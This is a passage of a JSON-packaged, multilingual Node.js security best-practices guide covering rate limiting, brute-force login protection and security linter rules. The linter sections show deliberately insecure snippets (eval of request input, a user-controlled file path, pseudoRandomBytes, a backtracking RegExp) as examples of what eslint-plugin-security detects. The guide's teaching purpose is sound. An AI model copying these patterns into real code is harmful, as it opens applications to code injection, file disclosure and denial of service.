}\r\n })\r\n   .listen(3000);\r\n ```\r\n\r\n[ドキュメントにより多くの例](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example)があります。\r\n\r\n### コード例: 特定のルーティングに対する Express レートリミットミドルウェア\r\n\r\nnpm パッケージ [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit) を使用します。\r\n\r\n```javascript\r\nconst RateLimit = require('express-rate-limit');\r\n// Express アプリケーションをプロキシの背後で実行している場合、クライアントの IP アドレスが req.ip に渡されていることを保証するために重要です\r\napp.enable('trust proxy'); \r\n \r\nconst apiLimiter = new RateLimit({\r\n  windowMs: 15*60*1000, // 15 分\r\n  max: 100,\r\n});\r\n \r\n// /user/ で始まるリクエストにのみ適用します\r\napp.use('/user/', apiLimiter);\r\n```\r\n\r\n### 他のブロガーが言っていること\r\n\r\n[NGINX blog](https://www.nginx.com/blog/rate-limiting-nginx/) より:\r\n> レートリミットは、ブルートフォースパスワード推測攻撃を遅らせるなど、セキュリティを目的として使用することができます。受信リクエストのレートを実際のユーザーの現実的な値に制限することで DDoS 攻撃を対策するのに役立ち、（ロギングを行うことで）狙われている URL を特定することができます。より一般的には、一度に過剰なユーザーリクエストを受けた場合に、上流のアプリケーションサーバーを保護するために使用されます。\r\n\r\n"
  },
  {
    "path": "sections/security/limitrequests.md",
    "content": "#  Limit concurrent requests using a balancer or a middleware\r\n\r\n### One Paragraph Explainer\r\n\r\nRate limiting should be implemented in your application to protect a Node.js application from being overwhelmed by too many requests at the same time. Rate limiting is a task best performed with a service designed for this task, such as nginx, however it is also possible with [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) package or middleware such as [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit) for Express.js applications.\r\n \r\n  ### Code example: pure Node.js app with [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible)\r\n \r\n  ```javascript\r\n const http = require('http');\r\n const IoRedis = require('ioredis');\r\n const { RateLimiterRedis } = require('rate-limiter-flexible');\r\n \r\n const redisClient = new IoRedis({ enableOfflineQueue: false });\r\n\r\n // Maximum 20 requests per second\r\n const rateLimiter = new RateLimiterRedis({\r\n   storeClient: redisClient,\r\n   points: 20,\r\n   duration: 1,\r\n   blockDuration: 2, // block for 2 seconds if consumed more than 20 points per second\r\n });\r\n\r\n http.createServer(async (req, res) => {\r\n    try {\r\n    const rateLimiterRes = await rateLimiter.consume(req.socket.remoteAddress);\r\n    // Some app logic here\r\n\r\n    res.writeHead(200);\r\n    res.end();\r\n    } catch {\r\n    res.writeHead(429);\r\n    res.end('Too Many Requests');\r\n    }\r\n })\r\n   .listen(3000);\r\n ```\r\n\r\nYou can find [more examples in the documentation](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example).\r\n\r\n### Code example: Express rate limiting middleware for certain routes\r\n\r\nUsing [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit) npm package\r\n\r\n```javascript\r\nconst RateLimit = require('express-rate-limit');\r\n// important if behind a proxy to ensure client IP is passed to req.ip\r\napp.enable('trust proxy'); \r\n \r\nconst apiLimiter = new RateLimit({\r\n  windowMs: 15*60*1000, // 15 minutes\r\n  max: 100,\r\n});\r\n \r\n// only apply to requests that begin with /user/\r\napp.use('/user/', apiLimiter);\r\n```\r\n\r\n### What Other Bloggers Say\r\n\r\nFrom the [NGINX blog](https://www.nginx.com/blog/rate-limiting-nginx/):\r\n> Rate limiting can be used for security purposes, for example to slow down brute‑force password‑guessing attacks. It can help protect against DDoS attacks by limiting the incoming request rate to a value typical for real users, and (with logging) identify the targeted URLs. More generally, it is used to protect upstream application servers from being overwhelmed by too many user requests at the same time.\r\n\r\n"
  },
  {
    "path": "sections/security/limitrequests.polish.md",
    "content": "# Ogranicz równoczesne żądania za pomocą modułu równoważącego lub oprogramowania pośredniego\n\n### Wyjaśnienie jednym akapitem\n\nW aplikacji należy wprowadzić ograniczenie szybkości, aby chronić aplikację Node.js przed przytłoczeniem zbyt dużą liczbą żądań jednocześnie. Ograniczanie prędkości jest zadaniem najlepiej wykonywanym za pomocą usługi zaprojektowanej do tego zadania, takiej jak nginx, jednak jest to również możliwe przy użyciu opcji [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) pakietu lub oprogramowania pośredniego, takiego jak [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit) dla aplikacji Express.js.\n \n  ### Przykład kodu: czysta aplikacja Node.js z [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible)\n \n  ```javascript\n const http = require('http');\n const redis = require('redis');\n const { RateLimiterRedis } = require('rate-limiter-flexible');\n \n const redisClient = redis.createClient({\n   enable_offline_queue: false,\n });\n\n // Maximum 20 requests per second\n const rateLimiter = new RateLimiterRedis({\n   storeClient: redisClient,\n   points: 20,\n   duration: 1,\n   blockDuration: 2, // block for 2 seconds if consumed more than 20 points per second\n });\n\n http.createServer(async (req, res) => {\n    try {\n    const rateLimiterRes = await rateLimiter.consume(req.socket.remoteAddress);\n    // Some app logic here\n\n    res.writeHead(200);\n    res.end();\n    } catch {\n    res.writeHead(429);\n    res.end('Too Many Requests');\n    }\n })\n   .listen(3000);\n ```\n\nMożesz znaleźć [więcej przykładów w dokumentacji](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example).\n\n### Przykład kodu: Expressa ograniczenie oprogramowania pośredniego dla niektórych tras\n\nUżywanie pakietu [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit) npm\n\n```javascript\nconst RateLimit = require('express-rate-limit');\n// important if behind a proxy to ensure client IP is passed to req.ip\napp.enable('trust proxy'); \n \nconst apiLimiter = new RateLimit({\n  windowMs: 15*60*1000, // 15 minutes\n  max: 100,\n});\n \n// only apply to requests that begin with /user/\napp.use('/user/', apiLimiter);\n```\n\n### Co mówią inni blogerzy\n\nZ [bloga NGINX](https://www.nginx.com/blog/rate-limiting-nginx/):\n> Rate limiting can be used for security purposes, for example to slow down brute‑force password‑guessing attacks. It can help protect against DDoS attacks by limiting the incoming request rate to a value typical for real users, and (with logging) identify the targeted URLs. More generally, it is used to protect upstream application servers from being overwhelmed by too many user requests at the same time.\n\n"
  },
  {
    "path": "sections/security/limitrequests.russian.md",
    "content": "# Ограничивайте одновременные запросы с использованием балансировщика или промежуточного программного обеспечения\r\n\r\n### Объяснение в один абзац\r\n\r\nВ вашем приложении должно быть реализовано ограничение скорости, чтобы защитить приложение Node.js от чрезмерного количества одновременных запросов. Ограничение скорости - это задача, лучше всего выполняемая с помощью сервиса, предназначенного для этой задачи, такого как nginx, однако это также пакета [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) или промежуточное программное обеспечение, такое как [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit) для приложений Express.js.\r\n \r\n### Пример кода: чистое приложение Node.js с [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible)\r\n \r\n  ```javascript\r\n const http = require('http');\r\n const redis = require('redis');\r\n const { RateLimiterRedis } = require('rate-limiter-flexible');\r\n \r\n const redisClient = redis.createClient({\r\n   enable_offline_queue: false,\r\n });\r\n\r\n // Maximum 20 requests per second\r\n const rateLimiter = new RateLimiterRedis({\r\n   storeClient: redisClient,\r\n   points: 20,\r\n   duration: 1,\r\n   blockDuration: 2, // block for 2 seconds if consumed more than 20 points per second\r\n });\r\n\r\n http.createServer(async (req, res) => {\r\n    try {\r\n    const rateLimiterRes = await rateLimiter.consume(req.socket.remoteAddress);\r\n    // Some app logic here\r\n\r\n    res.writeHead(200);\r\n    res.end();\r\n    } catch {\r\n    res.writeHead(429);\r\n    res.end('Too Many Requests');\r\n    }\r\n })\r\n   .listen(3000);\r\n```\r\n\r\nВы можете найти [больше примеров в документации](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example).\r\n\r\n### Пример кода: промежуточное программное обеспечение для ограничения скорости для определенных маршрутов\r\n\r\nИспользование [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit) пакета npm\r\n\r\n``` javascript\r\nconst RateLimit = require('express-rate-limit');\r\n// important if behind a proxy to ensure client IP is passed to req.ip\r\napp.enable('trust proxy'); \r\n \r\nconst apiLimiter = new RateLimit({\r\n  windowMs: 15*60*1000, // 15 minutes\r\n  max: 100,\r\n});\r\n \r\n// only apply to requests that begin with /user/\r\napp.use('/user/', apiLimiter);\r\n```\r\n\r\n### Что говорят другие блоггеры\r\n\r\nИз [NGINX блога](https://www.nginx.com/blog/rate-limiting-nginx/):\r\n> Ограничение скорости можно использовать в целях безопасности, например, для замедления атак с использованием паролей. Он может помочь защитить от DDoS-атак, ограничив частоту входящих запросов значением, типичным для реальных пользователей, и (с ведением журнала) идентифицировать целевые URL-адреса. В более общем смысле он используется для защиты вышестоящих серверов приложений от чрезмерного количества одновременных запросов пользователей.\r\n\r\n"
  },
  {
    "path": "sections/security/lintrules.basque.md",
    "content": "# Besarkatu linter segurtasun arauak\r\n\r\n### Azalpena\r\n\r\nESLint eta TSLint segurtasun pluginek kodeen segurtasun egiaztapenak eskaintzen dituzte, [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) eta [tslint-config-security](https://www.npmjs.com/package/tslint-config-security) bezalako ahultasunenetan oinarritutakoak, hala nola, RegEx ez segurua eta `eval()` erabilera ez segurua, eta literalak ez diren fitxategi izenak, aplikazio baten barruan fitxategi sistemara sartzeko erabiltzen direnak. [pre-git](https://github.com/bahmutov/pre-git) moduan git giltzak erabiltzeak iturburuko kontrolari buruzko arauak gehiago betearaztea ahalbidetzen du urruneko kontroletara banatu aurretik, eta horietako bat izan daiteke egiaztatzea iturburuko kontrolari sekreturik gehitu ez zaiola.\r\n\r\n### `eslint-plugin-security`ren adibidea\r\n\r\n`eslint-plugin-security`k antzemandako erabilitako arau ez-seguruen adibide batzuk:\r\n\r\n`detect-pseudoRandomBytes`\r\n\r\n```javascript\r\nconst insecure = crypto.pseudoRandomBytes(5);\r\n```\r\n\r\n`detect-non-literal-fs-filename`\r\n\r\n```javascript\r\nconst path = req.body.userinput;\r\nfs.readFile(path);\r\n```\r\n\r\n`detect-eval-with-expression`\r\n\r\n```javascript\r\nconst userinput = req.body.userinput;\r\neval(userinput);\r\n```\r\n\r\n`detect-non-literal-regexp`\r\n\r\n```javascript\r\nconst unsafe = new RegExp('/(x+x+)+y/)');\r\n```\r\n`eslint-plugin-security` erabiliz antzemandako praktika ez-seguruen adibide batzuk:\r\n\r\n![nsp check adibidea](../../assets/images/eslint-plugin-security.png)\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[Adam Baldwin](https://www.safaribooksonline.com/blog/2014/03/28/using-eslint-plugins-node-js-app-security/)en blogetik hartua:\r\n> Garbitzailea (Linting) ez da zuriune, puntu eta koma edo eval enuntziatuei buruzko arau pedanteak betearazteko tresna soilik izan behar. ESLintek esparru indartsua eskaintzen du zure kodean arriskutsuak izan daitezkeen eredu ugari ezabatzeko (adierazpen erregularrak, sarrera balioztatzea, eta abar). Segurtasunaz arduratzen diren JavaScript garatzaileek kontuan hartu beharreko tresna indartsu berria eskaintzen duela uste dut.\r\n"
  },
  {
    "path": "sections/security/lintrules.brazilian-portuguese.md",
    "content": "# Adote as regras de segurança do linter\r\n\r\n### Explicação em um Parágrafo\r\n\r\nPlugins de segurança para ESLint e TSLint, como [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) e [tslint-config-security](https://www.npmjs.com/package/tslint-config-security) oferecer verificações de segurança de código com base em várias vulnerabilidades conhecidas, como RegEx inseguras, o uso não seguro de `eval()`, e nomes de arquivos não literais sendo usados ​​ao acessar o sistema de arquivos em uma aplicação. O uso de ganchos git como [pre-git](https://github.com/bahmutov/pre-git) permite reforçar ainda mais quaisquer regras no controle de origem antes de serem distribuídas aos controles remotos, uma das quais pode ser verificar se nenhum segredo foi adicionado ao controle de origem.\r\n\r\n### exemplo `eslint-plugin-security` \r\n\r\nAlguns exemplos de regras de prática inseguras detectadas por `eslint-plugin-security`:\r\n\r\n`detectar-pseudoRandomBytes`\r\n\r\n```javascript\r\nconst insecure = crypto.pseudoRandomBytes(5);\r\n```\r\n\r\n`detectar-nome-de-arquivo-não-literal-em-fs`\r\n\r\n```javascript\r\nconst path = req.body.userinput;\r\nfs.readFile(path);\r\n```\r\n\r\n`detectar-eval-com-expressão`\r\n\r\n```javascript\r\nconst userinput = req.body.userinput;\r\neval(userinput);\r\n```\r\n\r\n`detectar-regexp-não-literal`\r\n\r\n```javascript\r\nconst unsafe = new RegExp('/(x+x+)+y/)');\r\n```\r\n\r\nUm exemplo de execução do `eslint-plugin-security` em um projeto Node.js com as práticas de código não seguras acima:\r\n\r\n![nsp check example](../../assets/images/eslint-plugin-security.png)\r\n\r\n### O que outros blogueiros dizem\r\n\r\nDo blog de [Adam Baldwin](https://www.safaribooksonline.com/blog/2014/03/28/using-eslint-plugins-node-js-app-security/):\r\n> Um Linter não precisa ser apenas uma ferramenta para impor regras pedantes sobre espaço em branco, ponto-e-vírgula ou instruções eval. O ESLint fornece uma estrutura poderosa para eliminar uma ampla variedade de padrões potencialmente perigosos em seu código (expressões regulares, validação de entrada e assim por diante). Acho que ele fornece uma nova ferramenta poderosa que merece ser considerada por desenvolvedores de JavaScript preocupados com a segurança.\r\n"
  },
  {
    "path": "sections/security/lintrules.french.md",
    "content": "# Adoptez les règles de sécurité du linter\n\n### Un paragraphe d'explication\n\nLes plugins de sécurité pour ESLint et TSLint tels que [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) et [tslint-config-security](https://www.npmjs.com/package/tslint-config-security) offrent des contrôles de sécurité du code basés sur un certain nombre de vulnérabilités connues, telles que les RegEx non sécurisées, l'utilisation non sécurisée de `eval()`et les noms de fichiers non littéraux utilisés lors de l'accès au système de fichiers dans une application. L'utilisation de hooks de git comme [pre-git](https://github.com/bahmutov/pre-git) permet de renforcer les règles de contrôle des sources avant qu'elles ne soient distribuées à distance, l'une d'entre elles pouvant être de vérifier qu'aucun secret n'a été ajouté au contenu des sources.\n\n### Exemple `eslint-plugin-security`\n\nQuelques exemples de règles de pratiques non sécurisées détectées par `eslint-plugin-security`:\n\n`detect-pseudoRandomBytes`\n\n```javascript\nconst insecure = crypto.pseudoRandomBytes(5);\n```\n\n`detect-non-literal-fs-filename`\n\n```javascript\nconst path = req.body.userinput;\nfs.readFile(path);\n```\n\n`detect-eval-with-expression`\n\n```javascript\nconst userinput = req.body.userinput;\neval(userinput);\n```\n\n`detect-non-literal-regexp`\n\n```javascript\nconst unsafe = new RegExp('/(x+x+)+y/)');\n```\n\nUn exemple de l'exécution de `eslint-plugin-security` sur un projet Node.js avec des pratiques de code non sécurisées ci-dessus :\n\n![exemple de vérification nsp](../../assets/images/eslint-plugin-security.png)\n\n### Ce que disent les autres blogueurs\n\nExtrait du blog de [Adam Baldwin](https://www.safaribooksonline.com/blog/2014/03/28/using-eslint-plugins-node-js-app-security/) :\n> Lint ne doit pas être un simple outil pour faire respecter des règles pédantes sur les espaces, les points-virgules ou l'instruction eval. ESLint fournit un framework puissant pour éliminer une grande variété de modèles potentiellement dangereux dans votre code (expressions régulières, validation d'entrée, etc.). Je pense qu'il constitue un nouvel outil puissant qui mérite d'être pris en considération par les développeurs JavaScript soucieux de la sécurité.\n"
  },
  {
    "path": "sections/security/lintrules.japanese.md",
    "content": "# linter のセキュリティルールを受け入れる\r\n\r\n### 一段落説明\r\n\r\n[eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) や [tslint-config-security](https://www.npmjs.com/package/tslint-config-security) といった ESLint や TSLint 用のセキュリティプラグインは、安全でない正規表現や安全でない `eval()` の使用、そしてアプリケーション内のファイルシステムにアクセスする際にリテラルでないファイル名を使用するといった、多くの既知の脆弱性に基づいたコードセキュリティチェックを提供しています。[pre-git](https://github.com/bahmutov/pre-git) のような Git hooks の利用することで、リモートに配布される前に、シークレットがコードに含まれていないかチェックするなど、ソースコントロール上にさらなるルールを強制することができます。\r\n\r\n### `eslint-plugin-security` の例\r\n\r\n`eslint-plugin-security` によって検出される安全でないプラクティスの例:\r\n\r\n`detect-pseudoRandomBytes`\r\n\r\n```javascript\r\nconst insecure = crypto.pseudoRandomBytes(5);\r\n```\r\n\r\n`detect-non-literal-fs-filename`\r\n\r\n```javascript\r\nconst path = req.body.userinput;\r\nfs.readFile(path);\r\n```\r\n\r\n`detect-eval-with-expression`\r\n\r\n```javascript\r\nconst userinput = req.body.userinput;\r\neval(userinput);\r\n```\r\n\r\n`detect-non-literal-regexp`\r\n\r\n```javascript\r\nconst unsafe = new RegExp('/(x+x+)+y/)');\r\n```\r\n\r\n上記の安全でないコード例を含んだ Node.js プロジェクトにおける `eslint-plugin-security` の実行例:\r\n\r\n![nsp check example](../../assets/images/eslint-plugin-security.png)\r\n\r\n### 他のブロガーが言っていること\r\n\r\n[Adam Baldwin](https://www.safaribooksonline.com/blog/2014/03/28/using-eslint-plugins-node-js-app-security/) のブログより:\r\n> Linting は、空白やセミコロン、eval 文などの細かいルールを強制するだけのツールではありません。ESLint は、コード内の様々な潜在的に危険なパターン（正規表現、入力値の検証など）を取り除くための強力なフレームワークを提供します。それはセキュリティを意識する JavaScript デベロッパーにとって検討に値する強力なツールを提供してくれると思います。\r\n"
  },
  {
    "path": "sections/security/lintrules.md",
    "content": "# Embrace linter security rules\r\n\r\n### One Paragraph Explainer\r\n\r\nSecurity plugins for ESLint and TSLint such as [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) and [tslint-config-security](https://www.npmjs.com/package/tslint-config-security) offer code security checks based on a number of known vulnerabilities, such as unsafe RegEx, unsafe use of `eval()`, and non-literal filenames being used when accessing the file system within an application. The use of git hooks such as [pre-git](https://github.com/bahmutov/pre-git) allows to further enforce any rules on source control before they get distributed to remotes, one of which can be to check that no secrets were added to source control.\r\n\r\n### `eslint-plugin-security` example\r\n\r\nSome examples of unsafe practice rules detected by `eslint-plugin-security`:\r\n\r\n`detect-pseudoRandomBytes`\r\n\r\n```javascript\r\nconst insecure = crypto.pseudoRandomBytes(5);\r\n```\r\n\r\n`detect-non-literal-fs-filename`\r\n\r\n```javascript\r\nconst path = req.body.userinput;\r\nfs.readFile(path);\r\n```\r\n\r\n`detect-eval-with-expression`\r\n\r\n```javascript\r\nconst userinput = req.body.userinput;\r\neval(userinput);\r\n```\r\n\r\n`detect-non-literal-regexp`\r\n\r\n```javascript\r\nconst unsafe = new RegExp('/(x+x+)+y/)');\r\n```\r\n\r\nAn example of running `eslint-plugin-security` on a Node.js project with the above unsafe code practices:\r\n\r\n![nsp check example](../../assets/images/eslint-plugin-security.png)\r\n\r\n### What other bloggers say\r\n\r\nFrom the blog by [Adam Baldwin](https://www.safaribooksonline.com/blog/2014/03/28/using-eslint-plugins-node-js-app-security/):\r\n> Linting doesn’t have to be just a tool to enforce pedantic rules about whitespace, semicolons or eval statements. ESLint provides a powerful framework for eliminating a wide variety of potentially dangerous patterns in your code (regular expressions, input validation, and so on). I think it provides a powerful new tool that’s worthy of consideration by security-conscious JavaScript developers.\r\n"
  },
  {
    "path": "sections/security/lintrules.polish.md",
    "content": "# Ustanowienie zasad bezpieczeństwa linter\n\n### Wyjaśnienie jednym akapitem\n\nWtyczki bezpieczeństwa dla ESLint i TSLint, takie jak [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) i [tslint-config-security](https://www.npmjs.com/package/tslint-config-security) oferowują kontrole bezpieczeństwa kodu na podstawie szeregu znanych luk, takich jak niebezpieczne RegEx, niebezpieczne użycie `eval ()` i nieliterowe nazwy plików używane podczas uzyskiwania dostępu do systemu plików w aplikacji. Korzystanie z git hooks, takich jak [pre-git](https://github.com/bahmutov/pre-git), pozwala na dalsze egzekwowanie reguł dotyczących kontroli źródła, zanim zostaną one przekazane zdalnym, z których jednym może być sprawdzenie że do kontroli źródła nie dodano żadnych danych wrażliwych.\n\n### `eslint-plugin-security` przykład\n\nNiektóre przykłady zasad niebezpiecznych praktyk wykrytych przez `eslint-plugin-security`:\n\n`detect-pseudoRandomBytes`\n\n```javascript\nconst insecure = crypto.pseudoRandomBytes(5);\n```\n\n`detect-non-literal-fs-filename`\n\n```javascript\nconst path = req.body.userinput;\nfs.readFile(path);\n```\n\n`detect-eval-with-expression`\n\n```javascript\nconst userinput = req.body.userinput;\neval(userinput);\n```\n\n`detect-non-literal-regexp`\n\n```javascript\nconst unsafe = new RegExp('/(x+x+)+y/)');\n```\n\nPrzykład działania `eslint-plugin-security` na projekcie Node.js z powyższymi niebezpiecznymi praktykami dotyczącymi kodu:\n\n![nsp check example](../../assets/images/eslint-plugin-security.png)\n\n### Co mówią inni blogerzy\n\nZ bloga od [Adam Baldwin](https://www.safaribooksonline.com/blog/2014/03/28/using-eslint-plugins-node-js-app-security/):\n> Linting doesn’t have to be just a tool to enforce pedantic rules about whitespace, semicolons or eval statements. ESLint provides a powerful framework for eliminating a wide variety of potentially dangerous patterns in your code (regular expressions, input validation, and so on). I think it provides a powerful new tool that’s worthy of consideration by security-conscious JavaScript developers.\n"
  },
  {
    "path": "sections/security/lintrules.russian.md",
    "content": "# Пользуйтесь правилами безопасности линтера\r\n\r\n### Объяснение в один абзац\r\n\r\nПлагины безопасности для ESLint и TSLint, такие как [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) и [tslint-config-security](https://www.npmjs.com/package/tslint-config-security) предлагает проверки безопасности кода, основанные на ряде известных уязвимостей, таких как небезопасный RegEx, небезопасное использование `eval()` и не буквальные имена файлов, используемые при доступе к файловой системе в приложении , Использование перехватчиков git, таких как [pre-git](https://github.com/bahmutov/pre-git), позволяет дополнительно применять любые правила управления исходным кодом до их распространения на удаленные устройства, одиним из можно проверить, что никакие секреты не были добавлены в систему контроля версий.\r\n\r\n### Пример `eslint-plugin-security`\r\n\r\nНекоторые примеры правил небезопасной практики, обнаруженных с помощью `eslint-plugin-security`:\r\n\r\n`detect-pseudoRandomBytes`\r\n\r\n```javascript\r\nconst insecure = crypto.pseudoRandomBytes(5);\r\n```\r\n\r\n`detect-non-literal-fs-filename`\r\n\r\n```javascript\r\nconst path = req.body.userinput;\r\nfs.readFile(path);\r\n```\r\n\r\n`detect-eval-with-expression`\r\n\r\n```javascript\r\nconst userinput = req.body.userinput;\r\neval(userinput);\r\n```\r\n\r\n`detect-non-literal-regexp`\r\n\r\n```javascript\r\nconst unsafe = new RegExp('/(x+x+)+y/)');\r\n```\r\n\r\nПример запуска `eslint-plugin-security` в проекте Node.js с использованием описанных выше методов небезопасного кода:\r\n\r\n![nsp check example](../../assets/images/eslint-plugin-security.png)\r\n\r\n### Что говорят другие блогеры\r\n\r\nИз блога [Adam Baldwin](https://www.safaribooksonline.com/blog/2014/03/28/using-eslint-plugins-node-js-app-security/):\r\n> Линтирование не обязательно должно быть просто инструментом для применения педантичных правил в отношении пробелов, точек с запятой или операторов eval. ESLint предоставляет мощную платформу для устранения широкого спектра потенциально опасных шаблонов в вашем коде (регулярные выражения, проверка ввода и т.д.). Я думаю, что он предоставляет мощный новый инструмент, который заслуживает рассмотрения разработчиками JavaScript, заботящимися о безопасности.\r\n"
  },
  {
    "path": "sections/security/login-rate-limit.basque.md",
    "content": "# Saihestu baimenaren aurkako eraso basatiak\r\n\r\n### Azalpena\r\n\r\n`/login` edo `/admin` bezalako pribilegio handiko ibilbideak abiadura mugarik gabe utziz gero, aplikazioko pasahitzen hiztegiak eraso basatiak izateko arriskua sortzen da. Eskaerak ibilbide horietara mugatzeko estrategia erabiltzen baduzu, erasoek arrakasta izatea saihestu dezakezu, baimen saiakeren kopurua mugatuz, IP bezalako eskaera propietate edo erabiltzaile izena/helbide elektronikoa bezalako gorputz parametroan oinarrituta.\r\n\r\n### Kode adibidea: zenbatu jarraian huts egin duten baimen saiakerak erabiltzaile izenaren eta IP bikotearen arabera, eta guztira izandako hutsegiteak IP helbidearen arabera.\r\n\r\nErabili [abiadura-mugatzaile-malgua](https://www.npmjs.com/package/rate-limiter-flexible) (rate-limiter-flexible) npm paketea.\r\n\r\nSortu bi mugatzaile:\r\n\r\n1. Lehenengoak jarraian huts egindako saiakera kopurua zenbatzen du eta, gehienez, 10 saiakera baimentzen ditu erabiltzaile izenaren eta IP bikotearen arabera.\r\n2. Bigarrenak eguneko IP helbidea blokeatzen du egunean 100 huts egin dituen saiakeretan.\r\n\r\n```javascript\r\nconst gehienekoIPbakoitzekoEtaEgunekoSaiakeraOkerrak = 100;\r\nconst gehienekoIPbakoitzekoEtaErabiltzaileIzenekoJarraiekoSaiakeraOkerrak = 10;\r\n\r\nconst IPbakoitzekoMugatzaileAstiroa = new RateLimiterRedis({\r\n  storeClient: redisClient,\r\n  keyPrefix: \"erregistratu_eguneko_huts_egindako_ipak\",\r\n  points: gehienekoIPbakoitzekoEtaEgunekoSaiakeraOkerrak,\r\n  duration: 60 * 60 * 24,\r\n  blockDuration: 60 * 60 * 24, // Egun baterako blokeatu, baldin eta eguneko 100 saiakera oker\r\n});\r\n\r\nconst IPbakoitzekoEtaErabiltzaileIzenekoJarraiekoSaiakeraOkerrenMugatzailea = new RateLimiterRedis(\r\n  {\r\n    storeClient: redisClient,\r\n    keyPrefix: \"erregistratu_jarraieko_huts_egindako_erabiltzaileizen_eta_ipak\",\r\n    points: gehienekoIPbakoitzekoEtaErabiltzaileIzenekoJarraiekoSaiakeraOkerrak,\r\n    duration: 60 * 60 * 24 * 90, // Gorde kopurua 90 egunean zehar lehenengo huts egitetik\r\n    blockDuration: 60 * 60, // Ordubeterako blokeatu\r\n  }\r\n);\r\n```\r\n\r\nIkusi adibide osoa [rate-limiter-flexible npm package paketearen Wikian](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example#login-endpoint-protection).\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n[Liran Tal](https://leanpub.com/nodejssecurity)-en Essential Node.js segurtasun liburua:\r\n\r\n> Erasotzaileek eraso basatiak egin ditzakete erabiltzaileen izen/pasahitz bikoteak zure REST amaierako puntuetara bidaltzeko, POST edo haiek inplementatzeko ireki duzun beste RESTful API baten bidez.\r\n> Hiztegi eraso mota hori oso erraza da egikaritzen, eta zure APIaren edo orri bideraketaren beste edozein ataletan egin daiteke, saioa hastearekin zerikusirik izan gabe ere.\r\n"
  },
  {
    "path": "sections/security/login-rate-limit.brazilian-portuguese.md",
    "content": "# Evite ataques de força bruta contra autorização\r\n\r\n### Explicaçãao em um Parágrafo\r\n\r\nDeixar rotas mais privilegiadas como `/ login` ou `/ admin` expostas sem limitação de taxa deixa uma aplicação em risco de ataques de dicionário de senha de força bruta. O uso de uma estratégia para limitar as solicitações para essas rotas pode impedir o sucesso disso, limitando o número de tentativas de permissão com base em uma propriedade de solicitação, como ip, ou um parâmetro de corpo, como nome de usuário/endereço de email.\r\n\r\n### Exemplo de código: conta tentativas consecutivas de autorização com falha por um par nome de usuário e IP, e o total de falhas por endereço IP.\r\n\r\nUsando o pacote npm: [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible).\r\n\r\nCrie dois limitadores:\r\n1. A primeira conta número de tentativas consecutivas com falha e permite no máximo 10 por par nome de usuário e IP.\r\n2. O segundo bloqueia o endereço IP por um dia caso 100 tentativas malsucedidas ocorram em um dia.\r\n\r\n```javascript\r\nconst maxWrongAttemptsByIPperDay = 100;\r\nconst maxConsecutiveFailsByUsernameAndIP = 10;\r\n\r\nconst limiterSlowBruteByIP = new RateLimiterRedis({\r\n  storeClient: redisClient,\r\n  keyPrefix: 'login_fail_ip_per_day',\r\n  points: maxWrongAttemptsByIPperDay,\r\n  duration: 60 * 60 * 24,\r\n  blockDuration: 60 * 60 * 24, // Bloqueia por 1 dia, se 100 tentativas erradas ocorrem em 1 dia\r\n});\r\n\r\nconst limiterConsecutiveFailsByUsernameAndIP = new RateLimiterRedis({\r\n  storeClient: redisClient,\r\n  keyPrefix: 'login_fail_consecutive_username_and_ip',\r\n  points: maxConsecutiveFailsByUsernameAndIP,\r\n  duration: 60 * 60 * 24 * 90, // Guarda o número por 90 dias desde a primeira falha\r\n  blockDuration: 60 * 60, // Bloqueia por 1 hora\r\n});\r\n```\r\n\r\nVeja o exemplo completo na [Wiki do pacote rate-limiter-flexible](https://github.com/animir/node-rate-limiter-flexible/wiki/Overall-example#login-endpoint-protection).\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\nDo livro Essential Node.js Security de [Liran Tal](https://leanpub.com/nodejssecurity):\r\n> Ataques de força bruta podem ser empregados por um invasor para enviar uma série de pares de nome de usuário/senha para seus pontos de extremidade REST sobre POST ou outra API RESTful que você tenha aberto para implementá-los. Esse ataque de dicionário é muito direto e fácil de executar e pode ser executado em qualquer outra parte da sua API ou roteamento de página, sem relação com logins.\r\n"
  },
  {
    "path": "sections/security/login-rate-limit.french.md",
    "content": "# Prevent brute-force attacks against authorization\n\n### One Paragraph Explainer\n\nLeaving higher privileged routes such as `/login` or `/admin` exposed without rate limiting leaves an application at risk of brute force password dictionary attacks. Using a strategy to limit requests to such routes can prevent the success of this by limiting the number of allow attempts based on a request property such as ip, or a body parameter such as username/email address.\n\n### Code example: count consecutive failed authorisation attempts by user name and IP pair and total fails by IP address.\n\nUsing [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) npm package.\n\nCreate two limiters: \n1. The first counts number of consecutive failed attempts and allows maximum 10 by username and IP pair. \n2. The second blocks IP address for a day on 100 failed attempts per day.\n\n```javascript\nconst maxWrongAttemptsByIPperDay = 100;\nconst maxConsecutiveFailsByUsernameAndIP = 10;\n\nconst limiterSlowBruteByIP = new RateLimiterRedis({\n  storeClient: redisClient,\n  keyPrefix: 'login_fail_ip_per_day',\n  points: maxWrongAttemptsByIPperDay,\n  duration: 60 * 60 * 24,\n  blockDuration: 60 